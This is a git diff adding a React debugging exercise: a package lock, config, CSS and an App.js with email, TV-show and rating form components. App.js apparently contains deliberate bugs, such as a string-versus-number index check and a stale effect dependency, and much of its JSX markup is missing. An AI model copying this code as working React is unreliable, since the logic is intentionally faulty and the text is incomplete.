"sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==" + }, + "websocket-driver": { + "version": "0.7.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "requires": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + } + }, + "websocket-extensions": { + "version": "0.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==" + }, + "whatwg-encoding": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz", + "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==", + "requires": { + "iconv-lite": "0.4.24" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + } + } + }, + "whatwg-fetch": { + "version": "3.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", + "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" + }, + "whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" + }, + "whatwg-url": { + "version": "8.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-url/-/whatwg-url-8.7.0.tgz", + "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==", + "requires": { + "lodash": "^4.7.0", + "tr46": "^2.1.0", + "webidl-conversions": "^6.1.0" + } + }, + "which": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "requires": { + "isexe": "^2.0.0" + } + }, + "which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "requires": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + } + }, + "which-collection": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which-collection/-/which-collection-1.0.1.tgz", + "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==", + "requires": { + "is-map": "^2.0.1", + "is-set": "^2.0.1", + "is-weakmap": "^2.0.1", + "is-weakset": "^2.0.1" + } + }, + "which-typed-array": { + "version": "1.1.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which-typed-array/-/which-typed-array-1.1.9.tgz", + "integrity": "sha512-w9c4xkx6mPidwp7180ckYWfMmvxpjlZuIudNtDf4N/tTAUB8VJbX25qZoAsrtGuYNnGw3pa0AXgbGKRB8/EceA==", + "requires": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0", + "is-typed-array": "^1.1.10" + } + }, + "word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==" + }, + "workbox-background-sync": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-background-sync/-/workbox-background-sync-6.6.0.tgz", + "integrity": "sha512-jkf4ZdgOJxC9u2vztxLuPT/UjlH7m/nWRQ/MgGL0v8BJHoZdVGJd18Kck+a0e55wGXdqyHO+4IQTk0685g4MUw==", + "requires": { + "idb": "^7.0.1", + "workbox-core": "6.6.0" + } + }, + "workbox-broadcast-update": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-broadcast-update/-/workbox-broadcast-update-6.6.0.tgz", + "integrity": "sha512-nm+v6QmrIFaB/yokJmQ/93qIJ7n72NICxIwQwe5xsZiV2aI93MGGyEyzOzDPVz5THEr5rC3FJSsO3346cId64Q==", + "requires": { + "workbox-core": "6.6.0" + } + }, + "workbox-build": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-build/-/workbox-build-6.6.0.tgz", + "integrity": "sha512-Tjf+gBwOTuGyZwMz2Nk/B13Fuyeo0Q84W++bebbVsfr9iLkDSo6j6PST8tET9HYA58mlRXwlMGpyWO8ETJiXdQ==", + "requires": { + "@apideck/better-ajv-errors": "^0.3.1", + "@babel/core": "^7.11.1", + "@babel/preset-env": "^7.11.0", + "@babel/runtime": "^7.11.2", + "@rollup/plugin-babel": "^5.2.0", + "@rollup/plugin-node-resolve": "^11.2.1", + "@rollup/plugin-replace": "^2.4.1", + "@surma/rollup-plugin-off-main-thread": "^2.2.3", + "ajv": "^8.6.0", + "common-tags": "^1.8.0", + "fast-json-stable-stringify": "^2.1.0", + "fs-extra": "^9.0.1", + "glob": "^7.1.6", + "lodash": "^4.17.20", + "pretty-bytes": "^5.3.0", + "rollup": "^2.43.1", + "rollup-plugin-terser": "^7.0.0", + "source-map": "^0.8.0-beta.0", + "stringify-object": "^3.3.0", + "strip-comments": "^2.0.1", + "tempy": "^0.6.0", + "upath": "^1.2.0", + "workbox-background-sync": "6.6.0", + "workbox-broadcast-update": "6.6.0", + "workbox-cacheable-response": "6.6.0", + "workbox-core": "6.6.0", + "workbox-expiration": "6.6.0", + "workbox-google-analytics": "6.6.0", + "workbox-navigation-preload": "6.6.0", + "workbox-precaching": "6.6.0", + "workbox-range-requests": "6.6.0", + "workbox-recipes": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0", + "workbox-streams": "6.6.0", + "workbox-sw": "6.6.0", + "workbox-window": "6.6.0" + }, + "dependencies": { + "@apideck/better-ajv-errors": { + "version": "0.3.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz", + "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==", + "requires": { + "json-schema": "^0.4.0", + "jsonpointer": "^5.0.0", + "leven": "^3.1.0" + } + }, + "ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "fs-extra": { + "version": "9.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "requires": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "source-map": { + "version": "0.8.0-beta.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.8.0-beta.0.tgz", + "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==", + "requires": { + "whatwg-url": "^7.0.0" + } + }, + "tr46": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tr46/-/tr46-1.0.1.tgz", + "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==", + "requires": { + "punycode": "^2.1.0" + } + }, + "webidl-conversions": { + "version": "4.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webidl-conversions/-/webidl-conversions-4.0.2.tgz", + "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==" + }, + "whatwg-url": { + "version": "7.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-url/-/whatwg-url-7.1.0.tgz", + "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==", + "requires": { + "lodash.sortby": "^4.7.0", + "tr46": "^1.0.1", + "webidl-conversions": "^4.0.2" + } + } + } + }, + "workbox-cacheable-response": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-cacheable-response/-/workbox-cacheable-response-6.6.0.tgz", + "integrity": "sha512-JfhJUSQDwsF1Xv3EV1vWzSsCOZn4mQ38bWEBR3LdvOxSPgB65gAM6cS2CX8rkkKHRgiLrN7Wxoyu+TuH67kHrw==", + "requires": { + "workbox-core": "6.6.0" + } + }, + "workbox-core": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-core/-/workbox-core-6.6.0.tgz", + "integrity": "sha512-GDtFRF7Yg3DD859PMbPAYPeJyg5gJYXuBQAC+wyrWuuXgpfoOrIQIvFRZnQ7+czTIQjIr1DhLEGFzZanAT/3bQ==" + }, + "workbox-expiration": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-expiration/-/workbox-expiration-6.6.0.tgz", + "integrity": "sha512-baplYXcDHbe8vAo7GYvyAmlS4f6998Jff513L4XvlzAOxcl8F620O91guoJ5EOf5qeXG4cGdNZHkkVAPouFCpw==", + "requires": { + "idb": "^7.0.1", + "workbox-core": "6.6.0" + } + }, + "workbox-google-analytics": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-google-analytics/-/workbox-google-analytics-6.6.0.tgz", + "integrity": "sha512-p4DJa6OldXWd6M9zRl0H6vB9lkrmqYFkRQ2xEiNdBFp9U0LhsGO7hsBscVEyH9H2/3eZZt8c97NB2FD9U2NJ+Q==", + "requires": { + "workbox-background-sync": "6.6.0", + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "workbox-navigation-preload": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-navigation-preload/-/workbox-navigation-preload-6.6.0.tgz", + "integrity": "sha512-utNEWG+uOfXdaZmvhshrh7KzhDu/1iMHyQOV6Aqup8Mm78D286ugu5k9MFD9SzBT5TcwgwSORVvInaXWbvKz9Q==", + "requires": { + "workbox-core": "6.6.0" + } + }, + "workbox-precaching": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-precaching/-/workbox-precaching-6.6.0.tgz", + "integrity": "sha512-eYu/7MqtRZN1IDttl/UQcSZFkHP7dnvr/X3Vn6Iw6OsPMruQHiVjjomDFCNtd8k2RdjLs0xiz9nq+t3YVBcWPw==", + "requires": { + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "workbox-range-requests": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-range-requests/-/workbox-range-requests-6.6.0.tgz", + "integrity": "sha512-V3aICz5fLGq5DpSYEU8LxeXvsT//mRWzKrfBOIxzIdQnV/Wj7R+LyJVTczi4CQ4NwKhAaBVaSujI1cEjXW+hTw==", + "requires": { + "workbox-core": "6.6.0" + } + }, + "workbox-recipes": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-recipes/-/workbox-recipes-6.6.0.tgz", + "integrity": "sha512-TFi3kTgYw73t5tg73yPVqQC8QQjxJSeqjXRO4ouE/CeypmP2O/xqmB/ZFBBQazLTPxILUQ0b8aeh0IuxVn9a6A==", + "requires": { + "workbox-cacheable-response": "6.6.0", + "workbox-core": "6.6.0", + "workbox-expiration": "6.6.0", + "workbox-precaching": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "workbox-routing": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-routing/-/workbox-routing-6.6.0.tgz", + "integrity": "sha512-x8gdN7VDBiLC03izAZRfU+WKUXJnbqt6PG9Uh0XuPRzJPpZGLKce/FkOX95dWHRpOHWLEq8RXzjW0O+POSkKvw==", + "requires": { + "workbox-core": "6.6.0" + } + }, + "workbox-strategies": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-strategies/-/workbox-strategies-6.6.0.tgz", + "integrity": "sha512-eC07XGuINAKUWDnZeIPdRdVja4JQtTuc35TZ8SwMb1ztjp7Ddq2CJ4yqLvWzFWGlYI7CG/YGqaETntTxBGdKgQ==", + "requires": { + "workbox-core": "6.6.0" + } + }, + "workbox-streams": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-streams/-/workbox-streams-6.6.0.tgz", + "integrity": "sha512-rfMJLVvwuED09CnH1RnIep7L9+mj4ufkTyDPVaXPKlhi9+0czCu+SJggWCIFbPpJaAZmp2iyVGLqS3RUmY3fxg==", + "requires": { + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0" + } + }, + "workbox-sw": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-sw/-/workbox-sw-6.6.0.tgz", + "integrity": "sha512-R2IkwDokbtHUE4Kus8pKO5+VkPHD2oqTgl+XJwh4zbF1HyjAbgNmK/FneZHVU7p03XUt9ICfuGDYISWG9qV/CQ==" + }, + "workbox-webpack-plugin": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-webpack-plugin/-/workbox-webpack-plugin-6.6.0.tgz", + "integrity": "sha512-xNZIZHalboZU66Wa7x1YkjIqEy1gTR+zPM+kjrYJzqN7iurYZBctBLISyScjhkJKYuRrZUP0iqViZTh8rS0+3A==", + "requires": { + "fast-json-stable-stringify": "^2.1.0", + "pretty-bytes": "^5.4.1", + "upath": "^1.2.0", + "webpack-sources": "^1.4.3", + "workbox-build": "6.6.0" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "webpack-sources": { + "version": "1.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "requires": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + } + } + }, + "workbox-window": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-window/-/workbox-window-6.6.0.tgz", + "integrity": "sha512-L4N9+vka17d16geaJXXRjENLFldvkWy7JyGxElRD0JvBxvFEd8LOhr+uXCcar/NzAmIBRv9EZ+M+Qr4mOoBITw==", + "requires": { + "@types/trusted-types": "^2.0.2", + "workbox-core": "6.6.0" + } + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + }, + "write-file-atomic": { + "version": "3.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "requires": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "ws": { + "version": "7.5.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "requires": {} + }, + "xml-name-validator": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/xml-name-validator/-/xml-name-validator-3.0.0.tgz", + "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==" + }, + "xmlchars": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==" + }, + "y18n": { + "version": "5.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==" + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + }, + "yaml": { + "version": "1.10.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" + }, + "yargs": { + "version": "16.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "requires": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + } + }, + "yargs-parser": { + "version": "20.2.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==" + }, + "yocto-queue": { + "version": "0.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==" + } + } +} diff --git a/debugging-3/package.json b/debugging-3/package.json new file mode 100644 index 00000000..00622abb --- /dev/null +++ b/debugging-3/package.json @@ -0,0 +1,38 @@ +{ + "name": "react-debugging", + "version": "0.1.0", + "private": true, + "dependencies": { + "@testing-library/jest-dom": "^5.16.5", + "@testing-library/react": "^13.4.0", + "@testing-library/user-event": "^13.5.0", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "react-scripts": "5.0.1", + "web-vitals": "^2.1.4" + }, + "scripts": { + "start": "react-scripts start", + "build": "react-scripts build", + "test": "react-scripts test", + "eject": "react-scripts eject" + }, + "eslintConfig": { + "extends": [ + "react-app", + "react-app/jest" + ] + }, + "browserslist": { + "production": [ + ">0.2%", + "not dead", + "not op_mini all" + ], + "development": [ + "last 1 chrome version", + "last 1 firefox version", + "last 1 safari version" + ] + } +} diff --git a/debugging-3/public/index.html b/debugging-3/public/index.html new file mode 100644 index 00000000..a010b3d7 --- /dev/null +++ b/debugging-3/public/index.html @@ -0,0 +1,12 @@ + + + + + + Debugging Part III + + + +
                      + + diff --git a/debugging-3/src/App.css b/debugging-3/src/App.css new file mode 100644 index 00000000..bd79bd8b --- /dev/null +++ b/debugging-3/src/App.css @@ -0,0 +1,57 @@ + +body { + margin:0; + font-family:arial,tahoma,sans-serif; + font-size:12px; + font-weight:normal; + direction:ltr; + background:white; +} +select { + appearance: none; +} + +form { + margin:10% auto 0 auto; + padding:30px; + width:400px; + height:auto; + overflow:hidden; + background:white; + border-radius:10px; +} + +form label { + font-size:14px; + color:darkgray; + cursor:pointer; +} + +form label, +form input { + float:left; + clear:both; +} + +form input, form select { + margin:15px 0; + padding:15px 10px; + width:100%; + outline:none; + border:1px solid #bbb; + border-radius:20px; + display:inline-block; + -webkit-box-sizing:border-box; + -moz-box-sizing:border-box; + box-sizing:border-box; + -webkit-transition:0.2s ease all; + -moz-transition:0.2s ease all; + -ms-transition:0.2s ease all; + -o-transition:0.2s ease all; + transition:0.2s ease all; +} + +form input[type=text]:focus, +form input[type="password"]:focus { + border-color:cornflowerblue; +} diff --git a/debugging-3/src/App.js b/debugging-3/src/App.js new file mode 100644 index 00000000..f217a7fb --- /dev/null +++ b/debugging-3/src/App.js @@ -0,0 +1,89 @@ +import React, {useState, useEffect} from 'react'; +import './App.css'; + +function EmailInput() { + const [email, setEmail] = useState(null); + + function valid(val) { + return val && val.indexOf('@') !== '-1' + } + + return
                      + + setEmail(e.target.value)} + onBlur={() => { + if (!valid(email)) { + alert('Email not valid') + } + } + } + id="email" type='text' value={email}/> +
                      +} + +function SelectTvShow() { + const [show, setShow] = useState(84); + const [episodes, setEpisodes] = useState([]); + + useEffect(() => { + fetch(`https://api.tvmaze.com/show/${show}/episodes`).then((response) => { + return response.json() + }).then((data) => { + setEpisodes(data) + }).catch(() => { + + }) + }, []) + + + return
                      + + +
                      +} + +function Rating() { + const [value, setValue] = useState(null); + let values = ['Bad', 'Ok', 'Good', 'Great', 'Amazing'] + return
                      + + +
                      +} + +function App() { + return ( + <> +
                      +

                      Family Guy Episodes

                      +
                      + + + +
                      +
                      + + ) + ; +} + +export default App; diff --git a/debugging-3/src/App.test.js b/debugging-3/src/App.test.js new file mode 100644 index 00000000..1f03afee --- /dev/null +++ b/debugging-3/src/App.test.js @@ -0,0 +1,8 @@ +import { render, screen } from '@testing-library/react'; +import App from './App'; + +test('renders learn react link', () => { + render(); + const linkElement = screen.getByText(/learn react/i); + expect(linkElement).toBeInTheDocument(); +}); diff --git a/debugging-3/src/index.css b/debugging-3/src/index.css new file mode 100644 index 00000000..ec2585e8 --- /dev/null +++ b/debugging-3/src/index.css @@ -0,0 +1,13 @@ +body { + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', + 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue', + sans-serif; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +code { + font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New', + monospace; +} diff --git a/debugging-3/src/index.js b/debugging-3/src/index.js new file mode 100644 index 00000000..d563c0fb --- /dev/null +++ b/debugging-3/src/index.js @@ -0,0 +1,17 @@ +import React from 'react'; +import ReactDOM from 'react-dom/client'; +import './index.css'; +import App from './App'; +import reportWebVitals from './reportWebVitals'; + +const root = ReactDOM.createRoot(document.getElementById('root')); +root.render( + + + +); + +// If you want to start measuring performance in your app, pass a function +// to log results (for example: reportWebVitals(console.log)) +// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals +reportWebVitals(); diff --git a/debugging-3/src/reportWebVitals.js b/debugging-3/src/reportWebVitals.js new file mode 100644 index 00000000..5253d3ad --- /dev/null +++ b/debugging-3/src/reportWebVitals.js @@ -0,0 +1,13 @@ +const reportWebVitals = onPerfEntry => { + if (onPerfEntry && onPerfEntry instanceof Function) { + import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => { + getCLS(onPerfEntry); + getFID(onPerfEntry); + getFCP(onPerfEntry); + 